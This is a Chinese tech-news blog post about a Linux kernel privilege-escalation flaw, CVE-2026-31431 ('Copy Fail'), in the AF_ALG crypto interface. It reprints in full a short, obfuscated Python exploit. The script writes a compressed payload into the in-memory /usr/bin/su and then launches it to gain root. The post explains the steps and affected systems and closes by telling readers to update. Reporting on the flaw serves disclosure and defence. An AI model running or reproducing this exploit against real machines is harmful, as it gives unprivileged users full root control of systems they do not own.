---
title: Copy Fail：2017年至今的漏洞，一个脚本获得 Linux root 管理员权限｜CVE-2026-31431
date: 2026-04-30T03:32:59Z
modified: 2026-04-30T03:38:41Z
permalink: "https://www.appinn.com/copy-fail-cve-2026-31431/"
type: post
status: publish
excerpt: ""
categories:
  - 业界消息
  - linux
tags:
  - 业界消息
  - linux
  - 漏洞
featured_image: "https://www.appinn.com/wp-content/uploads/2026/04/Copy-of-appinn-homework-2026-04-30T113107.292.jpg"
author: 青小蛙
timestamp: 2026-04-30T03:38:41Z
---

只需要10行代码，就能获得自2017年至今大多数 Linux 发行版本的 root 权限。史称 Copy Fail，漏洞编号 CVE-2026-31431

## 先看提权演示视频



![](https://www.appinn.com/wp-content/uploads/2026/04/Copy-of-appinn-homework-2026-04-30T113107.292.jpg)

## 演示代码

代码[来自这里](https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py)，请仅在自己的机器上测试该漏洞：


#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")


Linux 里有一种比较底层的接口，叫 **AF\_ALG**，用来给程序做加密/解密的。它的**数据会直接在内核里传来传去，不走普通读写路径**。

问题出在这里，内核在处理这条数据通道时，没有区分“只读”和“可写”。

比如这段代码，它把额外的数据写入了内存中的 /usr/bin/su 程序，相当于修改了内存中的 `su` 程序（该程序权限很高），所以执行 `su` 的时候，就拿到了 root 权限。

## Copy Fail

有人专门为这件事制作了一个漏洞演示网站，就叫做 [Copy Fail](https://copy.fail/)，复制失败。

它还同时演示了 Ubuntu 24.04、Amazon Linux 2023、RHEL 14.3、SUSE 16 几个不同系统中招的过程：

![](https://www.appinn.com/wp-content/uploads/2026/04/demo.gif)

该漏洞的利用过程是这样的：

1. 打开 `su`（目标程序）
2. 解压一段隐藏代码（payload）
3. 利用内核漏洞
4. 把 payload 写进内存里的 `su`
5. 执行 `su` → 拿 root

## 谁受影响

Copy Fail 只需要一个非特权本地用户账户，不需要网络访问权限，不需要内核调试功能，也不需要预装底层程序。基本上所有主流发行版的默认配置都启用了内核加密 API (AF\_ALG)，因此整个 2017 → 补丁发布窗口之前的操作系统，都…开箱即用。

注意，Linux 被广泛应用在各种设备中，包括电脑、服务器、云平台、路由器、NAS、物联网设备，甚至部分手机系统，因此影响范围非常广。

## 怎么办？

更新你的操作系统。

---

原文：https://www.appinn.com/copy-fail-cve-2026-31431/

## Topics

**分类目录:** [业界消息](https://www.appinn.com/category/it-news/?output_format=md), [linux](https://www.appinn.com/category/linux/?output_format=md)

**标签:** [漏洞](https://www.appinn.com/tag/%e6%bc%8f%e6%b4%9e/?output_format=md)